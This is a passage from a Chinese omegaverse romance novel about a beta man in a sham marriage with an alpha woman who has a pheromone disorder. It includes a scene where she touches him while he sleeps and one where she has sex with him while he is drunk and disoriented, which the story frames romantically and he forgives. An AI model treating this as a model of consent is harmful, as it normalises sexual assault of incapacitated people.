“你说的那么轻巧……”林原还是心慌,又说不好在心慌什么。
他洗着蔬菜,努力回忆,还是搜不出相关记忆。
苦恼道,“我做父亲太不合格了,连女儿要结婚都没看出来。”
齐妍:“她从小就很有自己的想法。”
水龙头的水流涌出来,落在菜筐里,翻出一片片白色泡沫。
林原看着发怔。
“应该会是不错的人吧,别为了信息素,随便找个人结婚……”
齐妍安慰道,“不会,如果是这样小雪早结婚了。”
“你说的对。”林原露出微笑,微微放心。
“不要太担心,小雪是我们的女儿,你对她可以放松些。”
林原垂下眼:“我会的。”
说是这么说,当真见到池絮时,林原还是略显失态。
他是beta。
他和齐妍交换一个眼神,对方眼中的神色,显然和他一样感到出乎意料。
“齐阿姨,林叔叔,你们好。”池絮很礼貌地打招呼。
“嗯,你好。”
林原人到中年,还是和年轻一样,情绪喜欢挂在脸上。
对待不太满意的人不假辞色。
齐妍笑着接过池絮手中的礼物,温和道:“是叫池絮吗?小雪昨天还和我们提起你。”
池絮笑着点点头。
几人在沙发坐下,林原凝眸看了会池絮,“我见过你。”他十分肯定,“你是小雪的高中同学。”
池絮腼腆一笑,“对,没想到只有一面之缘,林叔叔还记得我。”
齐妍看向池絮的眼神,也有些不一样了。
她问,“你们从高中就在一起了?”
“不是的,”池絮赶紧摆手,“我们是……”
他为难地看向齐锦雪,这点没有对口供啊。
齐锦雪淡声:“不是。”
林原一颗心还没放下,只听齐锦雪继续说,“过去怎样和现在无关吧,反正我们目前是婚姻关系。”
“什么?!婚姻关系?”林原声音都拔高几分,“什么样的婚姻关系?”
齐锦雪:“法律上的婚姻关系。”
林原猛地站起来,脸色青白交织,十分精彩。
他握紧拳头,一忍再忍。
齐妍搂着他的肩膀,往厨房走去,“阿原,你不是专门给小雪做了喜欢吃的吗,我们赶紧拿过来。”
为了齐锦雪回家聚餐,林原特意按照女儿的口味,做了纸杯蛋糕。
拿了蛋糕回来,林原不死心问池絮,“你是beta?”
池絮点点头,“是的,林叔叔。”
林原的脸瞬间黑了下去。
齐妍拍拍池絮的肩膀,宽慰他,“阿原不是针对你。
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”
池絮体面地笑了笑,“我知道的,齐阿姨。”
很是违心。
这还不是针对?非要“我不喜欢你”写在脸上,才算针对吗?
女A男B的组合是比较少,但不是没有,关键这样的组合法律认可。
池絮虽然不是强悍的alpha,也不是娇柔的omega,他却很少因为自己的性别窘迫。
此时却因为林原算不上善意的语气,莫名生出几分不自在。
见家长,还不被认可。
虽然是假的,但要是没有一点代入感他也做不到。
林原道:“小雪,你不能和他结婚。”
齐锦雪语气波澜不惊:“父亲,你希望我结婚,我现在结了,你为什么又有意见了?”
“你明知道……”
“好了,”齐妍拉住他的手,打断林原的话,“小雪第一次带爱人来吃饭,不要失了礼节。”
林原偏过头,闷不吭声。
齐妍分纸杯蛋糕,“小雪,你最喜欢的猕猴桃蛋糕。”
“小池,你喜欢哪个,自己挑。”
齐妍端着的托盘里,有两三种口味的蛋糕。
池絮视线还在齐锦雪身上,随便拿了一个,“谢谢齐阿姨。”
只见,齐锦雪拿起猕猴桃蛋糕,挖了一勺,就往嘴里送。
池絮大惊,伸手拦住她,“齐锦雪,你不是猕猴桃过敏吗!”
林原冷笑,“小雪猕猴桃过敏,我怎么不知道?她小时候最喜欢吃了。”
池絮懵了,难道是他记错了?
毕竟林原可是齐锦雪亲生父亲,他还能比她的父亲,更了解她吗?
齐锦雪放下蛋糕,看向林原,“你也说了,那是小时候。”
“我第一次吃的时候,是说了喜欢,因为那是你给我剥的,我吃完睡了过去,你说我是困了。”
“后来我睡不着,你都会剥猕猴桃给我吃。”
池絮听呆了,小心地偷瞄林原,这位他名义上的岳父。
齐锦雪的爸爸,年轻时是有多不靠谱。
林原的脸色微微泛白,“我不知道……”
“不过你不用过分表演自责,反正只是轻微过敏,没有生命危险。”齐锦雪冷淡道。
对她而言,比起计较这种小事,配合林原表演父慈女孝,更省事。
齐妍皱皱眉,“小雪,你怎么这么和你爸爸说话。”
齐锦雪心平气和解释,“母亲,为了顾忌您的面子,我已经温和很多了。”
池絮这才发现,以前他对齐锦雪脾气的了解,还是太浅了。
现在的她,才是真正的战斗力全开吧。
浑身浮着尖锐的刺,云淡风轻的语气,又好像这些事很习以为常。
连池絮都被微微刺疼了。
林原指着池絮,有些失控,“所以,你是为了气我,才跟一个beta结婚?”
齐锦雪眼皮都没抬,“父亲,你也太高看自己了。”
池絮处在炮火中,一句话都说不出来。
林原、齐妍似乎都不满意他的beta身份。
齐锦雪却和他结婚,这不是应付家里,是轰炸家里吧。
她为什么这么做?
开门声打断了屋子里的争执。
“爸爸,妈妈!我终于放学了!”齐爱蕤背着书包,蹦蹦跳跳跑来。
“小蕤。”林原抱起齐爱蕤,和她贴了贴脸。
“姐姐来啦!”齐爱蕤蹬着小腿,林原放她下来,她立刻扑到齐锦雪身上,抱着她的腿,“姐姐,我好想你,你有没有想我呀?”
齐爱蕤是齐妍和林原的老来女,比齐锦雪小将近二十岁。
不过姐妹俩感情很好。
齐锦雪捏了捏她的脸颊,笑道,“想了。”
齐爱蕤抓着姐姐的手,在齐锦雪手背亲了亲,眼睛笑成月牙。
前一秒还冷凝的气氛,这一秒已经其乐融融。
饭桌上,林原几次想和齐锦雪说话,却又不知道说什么。
早些年,他和齐妍有些纠葛,两人并未在一起。
齐锦雪刚出生时,由妈妈带着,作为父亲的林原,没有尽到应尽的职责。
等他意识到自己的失职,尝试弥补时,磕磕绊绊到至今都不得其法。
大女儿明明近在眼前,可他们之间,却像隔着一道难以跨越的鸿沟。
齐妍在桌底拉了拉他的手。
林原微微红了眼眶,“都怪你。”
这是林原尝试做齐锦雪父亲的第十一年,依然是失败的一天。
9. 易感期
饭后,池絮陪小朋友玩。
电视里播放着当下热门电视剧,齐爱蕤搭着积木。
“哥哥,你帮我搭这棵椰子树。”她给池絮分配任务。
“哦哦,好的。”
池絮手摆着积木,耳朵却留意着书房的动静。
里面偶尔传来争执。是林原和齐锦雪父女。
齐锦雪的音量全程没有大的变化,林原的则随着情绪走,一会高一会低。
池絮只隐约听到一两句。
“我是为了你好。”林原说。
“你什么时候能别自以为是地为我好?”齐锦雪并不领情。
“他们总是这样,”齐爱蕤摆弄着玩具,见怪不怪,“姐姐不回来,爸爸想她回,回来又要和她吵架。大人有这么多架要吵吗?”
池絮说:“大人烦恼比较多。”
齐爱蕤的房子都快搭好了,池絮不想拖慢小朋友的进度,赶紧搭椰子树。
还好还算简单。
齐爱蕤圆溜溜的眼睛,注视着池絮,“姐姐肯定很喜欢你。”
“为什么?”池絮头也没抬。
“姐姐有信息素缺陷症,爸爸妈妈希望她有一位omega或者alpha配偶。”
“什么?”池絮惊讶,手上力度一时失了准头,刚组好椰子树,就被他从中间捏断了。
“我从来都不知道……”他愣神。
他这几天的疑惑终于解开了。
为什么梅洛在知道他和齐锦雪领证时失态。
为什么林原对他充满敌视。
一切都明了。
现在,他有和他们一样的疑惑,既然齐锦雪有信息素缺陷症,为什么和他结婚呢?
“爸爸催婚过好多次了,她只和你结婚。”齐爱蕤嘟囔,她已经在拼小船了。
“这个……就是你爸爸催婚她才会和我结婚。”池絮呐呐道。
其实他自己也知道解释得牵强。
纵观下来,齐锦雪的所作所为,更像是林原猜测的那样,为了报复家里。
池絮微微皱眉,正要说什么,书房门开了。
齐锦雪走出来,面色冷淡,周身却有些低气压。
“回家。”她喊池絮。
齐妍叮嘱:“路上注意安全。”
林原追出来,眼睛有些红,看着齐锦雪离开的背影。
“姐姐,姐姐,你空闲来找我玩呀。”齐爱蕤脆生生道。
池絮匆匆道别,拿上齐妍给女儿打包的点心,赶紧跟上齐锦雪。
回去的路上,齐锦雪看着窗外一言不发。
路边昏黄的灯火忽明忽灭,车窗凝着雾气,映出齐锦雪清冷的侧脸。
池絮犹豫道:“你爸妈好像不是很喜欢我,要不……”
齐锦雪淡淡:“不用管他们,以后少回去就是了。”
“你有信息素缺陷症,应该告诉我的。”
车里的空气,凝固了一瞬。
“谁跟你说的?”顿了顿,她问,“齐爱蕤?”
齐锦雪冷声,“怎么,你也想对我的事,指手画脚?”
“不是的,我是担心你。”池絮急着解释。
她靠着座椅,闭目养神,“不用担心。”
虽然这么说,女人高贵美丽的面孔,却微微露出疲色。
池絮悄悄攥紧了手指。
*
池絮对面,梅洛双手抱胸,椅子远离桌子一段距离。
“她从初中就确诊了,这都多少年了。”
“你不是自诩是她的好朋友,她有信息素缺陷症,你都不知道?还来问我。”
齐锦雪有信息素缺陷症这个事,有信息素的人,并不难察觉到。
病发期间,信息素产生的变化和普通时候不一样。稍微和她亲近一点,留心一些,就能发现她的不同。
而池絮只是个beta,没办法感应到她的信息素波动。
池絮放在桌子上的手,微微握紧。
梅洛撑着下巴,没好气道,“她为什么和你结婚,还不是你要死要活的,她怕你再寻死,才和你结婚,好看着你。”
池絮愣住,“她是因为我……”
什么应付家里,互利互惠,都是借口。
惠的只有他。
梅洛冷哼,不给池絮一个正眼,“嗯,对啊,我家小雪就是这么心地善良,做好事不留名。”
她是不愿意向池絮多表态一句,齐锦雪对他的不一般的。
还不给他美上天了?
这种从古蓝星留存至今的化石男人,就算哪天脑子开窍,意识到齐锦雪对他超过心善的特殊。
他也只会因为她的alpha性别,仓皇道歉,转身逃跑而已。
齐锦雪那种高傲的天之骄女,怎么能受这种折辱。
回去的路上,池絮已经做好了打算。
他得尽快找到工作,安定下来。
这样,齐锦雪总会对他放心了吧?他再提出离婚,也不算辜负了她的好意。
距离下班还有段时间,池絮极限约了个面试。
多约一个面试,就多一个机会!
面试完回去时,天色已经擦黑。
齐锦雪正在客厅,操作着电脑。
“齐锦雪,你在家啊,”池絮关上门,“你还没吃饭吧?”
他换上鞋,“等下哦,我给你做。”
齐锦雪坐的位置,正对着门口。
她微微凝眉,“你去哪了?”
“去面试,”池絮顿了顿,“上午去见了梅洛。”
看她没有追问的意思,池絮不打算多说,先给贝儿和雪宝添了粮食。
一猫一狗吃得起劲,池絮趁机揉了几下。
他往厨房走去。
“你先去洗澡。”齐锦雪喊住他,眉头轻拧,“有其他信息素的味道。”
“对、对不起。”池絮闻了闻自己,自然闻不到任何信息素的味道。
有一点尘土和汗味。
“你是不是易感期快到了?”他关心问。
没得到回应,他当做她默认了。
听说易感期alpha对别人的信息素会敏感许多,很是排斥别人的信息素。
再者说,有些omega的信息素,还可能让alpha失控。
他飞速回到房间,找换洗衣服。
齐锦雪看着他的身影消失在门后,缓缓收回视线。
易感期和发病期叠加在一起,她都分不清是哪一个,造成她目前的烦躁和敏感,以至于池絮身上那么轻微的信息素都能察觉。
稳定情绪,竟然成了要消耗力气才能办到的事。
池絮很快洗好了出来,又钻进厨房准备晚餐。
他从网上搜了信息素缺陷症的推荐菜单,扫了一眼,记下来。
以后少不了要经常做。
挑了几个菜,都比较清淡,也适合齐锦雪易感期的情况。
做完最后一个菜,转身看到门口的齐锦雪。
不知道她什么时候来的,站了多久。
“饿了吧?这就好了,你在外面等我。”
齐锦雪上前,端起两碟菜出去了。
“我来就好了。”池絮端着汤,紧随其后。
他给齐锦雪盛了一碗汤,“你尝尝怎么样,喜不喜欢?”
“挺好的。”
“你有什么想吃的跟我说,或者有不舒服的,告诉我……”
“你不用把我当成病号。”
“我希望你能够舒服一些,”池絮的眼里有些担忧,“你的状况看起来不太好。”
“没那么严重。”齐锦雪冷冷道。
吃过饭,齐锦雪没再处理工作,早早回了房间。
池絮看着她的背影,心中的忧虑不减反增。
还说状态好呢。
只敢在心里小小地吐槽。
他更专心看起招聘,一定要尽快找到工作。
皇天不负苦心人,终于有他挺满意,对方也满意他的工作向他发送了面试邀请。
他赶紧接受了邀请。
*
齐锦雪今天的睡眠质量很不好。
半夜惊醒,时间显示在凌晨三点。
浓郁的冷杉香充斥房间,无序乱蹿。
她推开池絮的房门,悄无声息走到床边。
白日里疏冷美丽的脸,在夜色的雕琢下,像来自深渊的鬼魅。
温和如水的杏眸,也闪烁着墨色的晦暗。
随着她进入房间,冷杉香迅速侵占每一寸的空间。
S级的信息素,就连高等级的alpha都难保不受影响,慑于其中的危险。
而床上熟睡的人却浑然不觉。
女人的拇指在池絮的嘴唇上轻轻抚过。
beta有beta的好处。
不知道,就不会恐惧。
*
池絮醒来时,发现自己睡衣带子不知什么时候滑开了,衣襟散到两边。
他赶紧系上带子。
齐锦雪给他布置的睡衣、床品都是真丝材质,很好的东西。
可有一晚,他睡在上面,从床头滑到床尾,像Tom猫一样一滑到底,滑到地上。
好不容易驯服床单,没想到衣服又有了自己的想法,半夜搞罢工。
池絮叹了口气。
或许他真应了那句话,山猪吃不了细糠吧。
迷瞪瞪地走到洗漱台。
镜子里的人,双唇微肿,异常嫣红。简直就像……
池絮的困意惊下去。
不仅是嘴巴,好像,其他地方也有些异样。
他打开衣襟瞅了瞅。
呆了呆。
他猛地摇摇头,赶走脑子里那个不太
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靠谱的想法。
今年的蚊子,也太强了吧。
餐桌上,齐锦雪抬眼,视线从他嘴上一扫而过。
“你又被蚊虫咬了吗?”
池絮按了按嘴唇,苦恼地点了点头。
“花园的花渐渐开了,招来的蚊虫吧。”齐锦雪道。
“可是都没有咬齐锦雪吧?”池絮无奈笑道,“这个世道,连蚊虫都知道谁能欺负,谁不能欺负了。”
齐锦雪拿出一个棕色的玻璃瓶,放在桌上,“这个给你。”
“这是什么?香水吗?”池絮接过来,闻了闻,很淡的冷杉香,和齐锦雪身上的香水是一个味道。
“好好闻,不过,为什么送我香水?”
齐锦雪道:“这几天你可以用它,遮一遮你身上信息素的味道。”
“哦,好的,还是你想的比较周到。”
池絮想当然地认为,用它可以遮掉在外面沾到的信息素,就不会影响到易感期的alpha了。
事实效果确实如此。
出门面试前,他喷了点香水。
他身上残留的,属于S级alpha信息素的味道,就被悄无声音地隐去了。
*
在无数次面试被拒后,池絮的找工作之路终于看到了曙光。
面试过程很顺利,面试官对他的工作经验很认可。
刚出公司,他就忍不住给齐锦雪打电话,分享这个好消息。
“我面试通过了,周一就能入职!”
“比上一份工作工资涨了一千,工作量却减少了。”
“旺季忙一些,但加班的话,可以调休或者算工资。”
“法定节假日正常休息,加班三倍工资!”
池絮越说越激动,对他而言,无异于天降馅饼的好事。
“恭喜你。”齐锦雪说。
“晚上你想吃什么?我买回去做。”他问。
还没入职,他目前囊中羞涩,不能再请齐锦雪放纵一顿。
“都可以。”
“都可以是哪道菜?我没有做过。”人逢喜事精神爽,池絮都跟齐锦雪开起了玩笑。
尽管齐锦雪没有出声,池絮却想象得出,电话那端的人露出的温和的笑容。
连着几天,池絮的情绪都很高昂。
入职的确实是不错的公司。
去之前,还以为会说一套做一套,没想到和去之前说的一样。
这样的工作让他身心舒适,充满干劲,他彷佛找到了刚毕业时的感觉。
大多事情都有完整的工作流程,他不用再在同事的互相推诿中,莫名接下本和他无关的工作。
也不用被老板朝令夕改的政策,闹得头晕脑胀。
下班了,同事们陆续离开。
但他们部门晚上有聚餐,但是部门老大临时有个会议,要等他开完会。
池絮和其他部门同事一起等着他。
他敲着键盘,写一份文档。
文档标题写着,离婚协议书。
他的工作稳定了,他没有理由再拖着齐锦雪。
他们早一天解除婚姻关系,齐锦雪能早一天寻找合适的结婚对象。
昨天他下班后去看了房子,还没有付租金,他还有时间观望几天。
等和齐锦雪谈完,签了离婚协议,他就会搬出去了。
打扰她那么久。
敲好最后一个字,点击打印。
“池絮,老大来了,去聚餐了。”有人喊他。
“来了。”
池絮关上电脑,拿过离婚协议书,匆匆叠起来塞进口袋。
*
齐锦雪的易感期,终于正式来临,与此同时,信息素缺陷症的病症,随之被诱导出来。
吃了药,吃了抑制剂,还是不舒服。
像被关在汗蒸房里,四面密不透气,信息素不断蒸腾而出,挤在其中。
睡都睡不好。
她吃掉最后一粒药。
不到万不得已,她不想找江医生。
每次的诊断结果都大同小异,无非是给她增加药量,再劝她尽早找一位omega结婚罢了。
她这种情况,是不适合再呆在家里,和池絮共处一室了。
齐锦雪本打算今晚就去另一栋公寓暂住,但白天收到池絮的消息,他说晚上公司组织活动,晚上不回来了。
第二天就是周末,那就周末再走吧。
吃完药,齐锦雪脑子混混沌沌的,不知什么时候睡了过去。
啪嗒。
她的房门被人从外面打开了。
听到动静,齐锦雪勉强睁开眼,眯着看向门口,有个人影。
大脑昏沉沉的,一时没意识到是谁,“谁?”她问。
那人并未回答她,跌跌撞撞走过来,不由分说地扑在她身上,带来一缕酒香和冷杉香。
10. 失控(修结尾)
晚上公司聚完餐,第二天是周末,于是一帮人转战桌游,准备决战到天亮。
池絮从来都很合群,在桌游上,只是扮演陪玩的角色。
到了场地,随大家喝了一点红酒,谁想酒量不济,一杯下去,就晕乎乎了。
本来也可以去休息室。
但是记挂着在家里的人,还是强撑着回去了。
他和齐锦雪的房间挨着,压根没意识到自己走错了房间。
池絮扑到齐锦雪身上时,她感觉脑子快炸开了。
信息素从她身体里猛蹿出来,没有目的地横冲直撞。
发现房间里的另一人,争先恐后地冲过去,蚕茧一样裹住他。
如果池絮不是个beta,现在恐怕早就被满屋的信息素五花大绑,被当成礼物奉上了。
而趴在她身上的beta浑然不觉。
多雨季节,窗外下起了雨,滴答声稀稀落落。
细微的风吹进来,裹着春日的气息,温柔清凉。
“池絮。”
听到喊声,他迷乎乎掀起眼皮,咦了一声,“齐锦雪?你怎么在这。”
“你走错房间了,出去。”女人冷声。
池絮呆呆地看了她数秒,卡顿的大脑缓慢思考着。
“我没有,这是我的房间。”他斩钉截铁道。
池絮脸红扑扑地,扯着被子往怀里搂,很快,横在他们之间最大的阻碍消失了。
他的脸黏糊糊贴在齐锦雪的肩侧,热度透过真丝睡衣传过去。
淡淡的酒香混在冷杉香中,几乎微不可闻。
此时齐锦雪的嗅觉系统已经敏锐到精准捕捉,无限放大。
“你喝酒了?”
“没有,”池絮嘟嘟囔囔,答非所问,“我是年糕。”
“生活反复捶打我,我就会变得筋道弹牙!”男人傻笑。
齐锦雪:“……”
他伸出食指,“你尝尝,很香的。”
食指戳到齐锦雪的脸,她拍开,闭闭眼,再次下逐客令,“出去。”
池絮置若罔闻,呆呆地数手指。
“一根年糕,两根年糕……”
“不对,不对,年糕怎么变成手指了?”
如果此时齐锦雪有能力的话,必定会把这个不知死活聒噪的蠢男人丢出去。
“池絮,我再说一遍,滚出去。”低哑冷沉的声线,威胁力大打折扣。
她的耐心和理智已经快耗尽了。
失控感让她的语气不自觉多了凶气。
池絮呆呆地,眼里倏然浮上泪水。
“不要赶我走,”声音里多了哭腔,“齐锦雪,不要赶我走,求你。”
“你喜欢那个omega,你喜欢他。”
“喜欢他,就要凶我,赶我走。”
“不要这么对我。”很伤心了。
他紧紧抱着她的肩膀,眼泪滚落,砸在丝质衣料上。
屋外,闷雷声滚过,雨滴珠子一样凌乱密集得落下。
噼里啪啦。
屋内,那双小狗眼也下着雨。
“你在胡言乱语些什么。”齐锦雪并不比池絮清醒多少。
荒漠中饥肠辘辘的狮子,却遇到主动投喂到嘴边的绵羊。
每一缕暴走的信息素都在叫嚣着享用他。
“我们不是好朋友吗?”池絮仰着脸控诉。
好朋友。好朋友。
魔咒一样的三个字。
齐锦雪简直要骂脏话了。
理智终于崩弦。
她翻身按住池絮的手腕:“我给过你机会了。”
一声闷雷滚过。
……
池絮做了一个很奇怪的梦。
梦里他躺在海水里,像个小船,被海水拥抱着,托举着,十分惬意。
模糊的视野中,隐约能看到齐锦雪的脸。
她怎么会在这里?
天地间多了好多好多桃花,花瓣纷纷扬扬落下,很快把他淹没了。
他想翻个身,被谁的手按了回去。
他又跌进桃花的花海里了。
有个声音问他,“知道我是谁吗?”
他努力睁大眼睛,一切似梦似幻。
“齐锦雪。”
“嗯。”
女人清冷的音调,像是绵绵春雨拂过,微凉温柔。
池絮忍不住笑起来。
下一秒,笑容僵在嘴角,眼眶瞬间红了:“好痛。”
被酒精麻痹过的神经,反射弧也变得漫长。
他呆了呆,蹬起腿。
但是厚重的海水包裹着他,还有人攥着他的手腕,四肢压根使不上力。
“你做什么了。”他皱起眉头。
“乖,一会就不疼了。”
齐锦雪从未这么温柔地哄过他,他立即就相信了,放弃挣扎。
……
池絮安静了一会,似乎意识到自己受到欺骗,呆呆地盯着齐锦雪。
“你不是说一会就不疼了吗,你骗我。”
他脑子反应得慢,说话也慢吞吞,断断续续的。
齐锦雪低头吻上他,“放松一点就不疼了。”
“你骗人。”池絮不再信了。
“真的,没有骗你。”
认真的语气,池絮将信将疑。
“怎么放松?”
“我教你。”齐锦雪捏了捏他通红的耳垂。
“那我再相信你一次吧。”
男人的两颊浮上绯红,薄汗沁湿他的鬓角。
乌黑的眼睛下着淅淅沥沥的雨,委屈又说服自己再信一次的样子。
连齐锦雪都不得不承认,他超过她想象的可爱。
怎么会不犯错呢。
她又不是圣人。
屋外的雨一夜没停。
池絮闷闷地哭了一整晚。
……
池絮早上醒来,花了几十秒才回魂。
发现他好像不是在自己的房间里,而是——
齐锦雪的房间!
他大惊。
猛地撑起身,手臂脱力,又重重摔了回去。
彷佛被车轮碾压过的疼痛遍布全身。
他掀开被子。
衣服被换了,这不是最重要的,重要的是,他身上的痕迹,是怎么回事?
池絮脑子炸开了。
稍微想一下,就知道发生了什么,而且,他并未完全失忆。
他记起他喝了酒,记起走错了房间,记起了始作俑者。
被伤害,他应该要愤怒的,但对方是他视为的亲近的人,更多的是茫然和无措。
他缺少应对这类突发性事件的能力。
妈妈欺骗他,他第一反应不是恨,也不是报复,那时只是想努力逃回来,跟齐锦雪告别而已。
而眼下,明明他才是受害者,却因为记忆碎片里,齐锦雪的忍耐和痛苦,默默心疼起来。
她肯定是忍得不能忍了,才犯下错误。
齐锦雪坐在阳台,只穿了一件单薄的居家服,眺望着远处。
池絮走到客厅,闻到女士香烟的味道。
烟灰缸里,已经丢了好几个烟头。
原来齐锦雪是会抽烟的。
她在这里很久了吗?吹了多久的冷风?
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是为昨晚的错误愧疚吗?
垃圾桶里,躺着两盒空掉的抑制剂。还是信息素缺陷症的专用型号。
据他浅薄的了解,这些量,都够用一两个月了。
齐锦雪昨晚到底……
池絮握紧手掌,指甲刺疼了掌心。
最后那点质疑,已经全部被心疼取代了。
“你醒了?”清冷的女音,多了丝沙哑。
“嗯。”
“对不起。”向来高高在上的女人,眼底泛着血丝,露出犯错后的挫败。
她在等待他的质问和怒火。
他确实也应该如此。
但比理智更先到达的是本能。
池絮很没骨气地心疼起齐锦雪。
质问到最后,左不过是吵架,或者连朋友都做不成,两人都难受。
愤怒之后,他大约还是会和她和好。
——不和她做朋友,那是绝不可能的。
既然结果不会改变,他何必找两人不痛快。
他回避和齐锦雪的一切争执。
而且……就像有些alpha所言,他就是个beta,又不会怀孕。
除了痛一点,又没有其他损失。
连被人打一顿的疼痛,都比不上。
如果愤怒地指责,强调他是第一性取向的beta。
反而被视作大惊小怪,都什么年代了还有活的传统直男癌。
在沉默的三十秒里,池絮把自己安慰好了。
就是不知怎么有点,他自己都说不清的心酸。
齐锦雪先打破沉默:“昨天我病情发作,又逢易感期,信息素暴走了,很抱歉。”
她捏熄了手里的烟头,丢在烟灰缸里。
“没想到我会这么,失智。”她声音冰冷,眉间凝起淡淡的自厌。
池絮暗暗松口气。
还好,总算不至于他还要给自己找台阶下。
他接受道歉,但说不出“没关系”,故作轻松地转移话题,“那你现在,好些了吗?”
alpha眼中露出微微惊讶,而后恢复平静。
她的挫败、自责,全部不见了。
取而代之的是更复杂的情绪。
池絮分不明白,只是捕捉到一抹意味不明的谴责,冷风吹来,一颗心被吹的发冷。
是不是认为他这么不计较,低姿态到毫无尊严,连道歉都不值得了。
“我很好。”她冷冷道。
“哦,那就好。”
池絮快被戳得千疮百孔了,从头到脚地冷。
没有更多力气可以支撑他继续站在这里,站在齐锦雪的目光里。
他脚步一深一浅地回到卧室,裹着被子好久才暖一些。
出去地匆忙,衣服扣子都没扣好。
他低下头,再次为身体的遭遇感到心惊。
双手手腕通红,皮肤青青紫紫。
后颈结了血痂,应该是被alpha暴力地咬过。
一个beta,被当做omega咬过。被看到咬痕,不知要遭受怎样的耻笑。
他手指发软,好几下,都没有扣上扣子。
冷杉香不知什么时候靠近了。
alpha手指纤长,一个个给他扣好衣扣,工整有序。
温热的指尖有一下没一下轻擦过他的皮肤,在记忆的湖面点下圈圈涟漪。
齐锦雪恢复到他熟悉的温和:
“我可以答应你付出任何补偿或者代价。”
“金钱、房子、工作……”
“或者根据法律审判我。”
“或者假戏真做,当真夫妻,都可以。”
11. 道歉
池絮吃了一惊。
完全没想到,齐锦雪愿意为了获得他的原谅付出这么大的代价。
女人温柔诚恳的面孔,一下子抚平了刚才给他带来的伤痛。
齐锦雪摆出愿意负责的态度就够了,他不能厚脸皮真的接受。
“不,不至于的。你也不是故意的。”
况且他又不是一点错都没有。
如果他没喝酒,又回错房间,或者就不会发生了。
齐锦雪沉默地看着他,局面一时陷入尴尬。
池絮试图活跃气氛,很开明的样子,“幸好我没有腺体,否则不小心被标记了,才是真的困扰。”
终身标记一旦形成,很难清洗,终身标记关系之间往往只有一种结果,就是结婚。
齐锦雪的眸色深了深,“是,幸好你是个beta。”
“我没有什么损失,你……应该也没有吧?”池絮不确定问。
齐锦雪脸色不太好,但状态似乎还行。
大约还在愧疚。
毕竟他这个朋友外表冷淡,实际很有原则和责任心。
池絮道:“你要真觉得过意不去,就请我喝两天汤,养养身体好了。”
“好。”
这件事算是结束了吧。池絮呐呐想。
看到齐锦雪脸色苍白,那两盒抑制剂又浮上心头。
“我看你用了两盒抑制剂……你昨天,是不是很难受?”
他看过相关资料,信息素是一大重要能量来源。
这也是alpha、omega能和beta区分开来,社会地位凌驾于beta之上的关键。
信息素越强,暴走时反噬也越强,如万蚁噬骨,痛苦异常。
如果没有及时控制,生命都会受到威胁。
连齐锦雪都没能控制的暴走,一定是很难受了。
齐锦雪风轻云淡道:“还好。”
“你病了这么久,为什么不找位omega呢?是因为和我结婚的关系吗?”池絮问。
“我有在接受信息素治疗,但效果微乎其微。
齐锦雪笑了笑,“找omega,不是那么简单的事,比信息素缺陷症,更让我头疼。”
至于怎样“不简单”,那是她的私事,她似乎没有和池絮分享的意思。
“这样啊……”池絮呆呆地。
但说到底,和他的婚姻关系,会影响她的恋爱进度吧。
“不管怎么说,都是我有错在先。”齐锦雪揉揉眉心,“下次我会提前住在外面。”
他想到,如果不是齐锦雪先好心收留他,也不会导致她造成这个错误。
让他俩都陷入尴尬,还让她有家不能回。
“……那你和我那样,有用吗?”
“什么?”齐锦雪少见地怔了怔。
池絮又重复了一遍。
齐锦雪深深地看着他,很久。
久到池絮以为是自己自作多情,不会得到回答了。
“有用的。”
“竟然……”他微微惊讶。
“对于人类而言,第二性征还有太多未知,或许你身上有什么东西,对我的腺体有生理影响。”她坦然道。
池絮扣着手指,低头沉思,脑海中两个小人在打架。
“你有任何想要的,可以随时跟我说,不限时间。”齐锦雪往外走。
“我可以帮你。”池絮鼓起勇气,对着女人的背影道。
齐锦雪停下脚步,转过身。
“什么?”
她背着光,他看不到她的表情,也因此无法从她的反应中得到勇气或者退缩。
池絮捏紧床单,只能从本心出发,“我可以配合你,做那种事,在你找到更优的治疗前。”
言辞里传达出来的讨好,连他都感到自厌和唾弃。
他最应该做的,不是该向她讨公道、要赔偿?再不济也是冷战几天。
怎么变成这样。
好似他真从中感受到乐趣,一改性向的样子。
不仅原谅了始作俑者,还愿意和她继续错误。
可是想象齐锦雪困在疾病中要承受的痛苦,他恨不能以身相替。
在齐锦雪沉默的间隙,他更加为自己的决定倍感压力。
几经挣扎,终于,池絮耷拉下肩膀,自暴自弃道:“反正我只是个beta……”
“不是的。”齐锦雪的反驳来得很快。
她快步走到他身边,扶着他的双肩,和他四目相对,“池絮,”
女人淡漠的眼底,压着星星的火色。
“你很珍贵。”
“不是什么‘只是个beta’,池絮非常、非常珍贵,独一无二。”
从没有人这样对池絮说过。
尽管很久很久以前,有个孩子一直一直地期待着。
眼泪无声涌出,模糊视线。
男人扑到齐锦雪怀里,放声哭起来,单薄的肩膀微微发颤。
从事发起,伤痛的、委屈的、受到安抚的痛哭。
齐锦雪把他搂到怀里,轻抚着他的后背,温声致歉。
“对不起。”
“对不起。”
“对不起。”
为她的自私、她的冲动、她的占有欲,同这个已经被她掠夺到快一无所有的beta致歉。
*
下午,池絮发起了高烧。
在齐锦雪的要求下,才请了家庭医生来看。
池絮躲在被子里,都快裹成蚕蛹了。
周羽是齐家的老家庭医生,还是第一次上门给大小姐处理这种事故。
还以为只有她妈会干这种事呢。
还真是……有其母必有其女啊。
周羽在心里偷偷感慨,面上却稳如老狗。
利落地开好药,留下几条医嘱。
得心应手的工作。
送走周羽时,齐锦雪一个眼神,她就心领神会。
“大小姐放心,我虽然是齐家的家庭医生,但很有职业道德,尊重个人隐私。”
职业道德这一块,齐锦雪还是信得过的。
否则他们也不能在齐家做这么久。
隐私可以不说,却可以说点别的。
周羽离开齐锦雪家,就给齐妍发去消息。
“齐妍,你真是不拿我当朋友了,小雪结婚都不和我说?”
齐家。
周羽蹭了杯林原亲手泡的茶,享受地品着。
“这个茶叶,走的时候给我带点。”她毫不客气道。
她每次来临家,连吃带拿都习惯了。
谁叫她的贡献大呢,早年给齐妍和林原治了不少大大小小的伤。
林原大手笔地给她包了一包。
“你见到小雪的结婚对象了?”林原问,“她干嘛找你,是她的信息素缺陷症?”
他
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皱皱眉,“不对,她信息素缺陷症也找不着你。难道是……”
周羽神秘一笑。
他和她对视一眼,心领会神。
林原腾地站起来,眉头紧皱,“小雪就这么冲动?他只是个beta。”
周羽欣慰笑道,“这样更说明他们夫妻感情好啊。”
“就是不请我参加婚礼,不够意思。”她没忘讨伐。
“她根本就没有举办婚礼,”林原不满道,“就连我和她妈,也是几天前才得知。”
“啊?”周羽愣了愣。
齐妍正好从外面回来。
